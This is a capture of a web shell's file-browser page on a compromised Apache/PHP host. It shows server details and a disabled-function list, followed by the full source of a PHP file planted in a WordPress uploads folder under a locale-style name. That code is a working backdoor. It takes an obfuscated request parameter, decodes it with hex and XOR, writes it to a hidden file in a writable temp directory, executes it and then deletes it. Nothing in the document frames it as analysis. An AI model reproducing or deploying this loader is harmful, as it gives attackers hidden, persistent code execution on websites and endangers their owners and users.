HEX
Server: Apache/2
System: Linux sv174 5.14.0-570.21.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jun 11 07:22:35 EDT 2025 x86_64
User: casinobe (1137)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/casinobe/domains/pug555-a.com/private_html/wp-content/uploads/wpcode/b/e/g/et_EE.php
<?php

if(isset($_REQUEST["o\x62je\x63t"])){
	$desc = hex2bin($_REQUEST["o\x62je\x63t"]);
	$ent  ='';  for($r=0; $r<strlen($desc); $r++){$ent .= chr(ord($desc[$r]) ^ 6);}
	$dchunk = array_filter([session_save_path(), "/dev/shm", getcwd(), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir")]);
	$record = 0;
do {
    $elem = $dchunk[$record] ?? null;
    if ($record >= count($dchunk)) break;
    		if ((function($d) { return is_dir($d) && is_writable($d); })($elem)) {
    $symbol = "$elem" . "/.mrk";
    if (file_put_contents($symbol, $ent)) {
	require $symbol;
	unlink($symbol);
	die();
}
}
    $record++;
} while (true);
}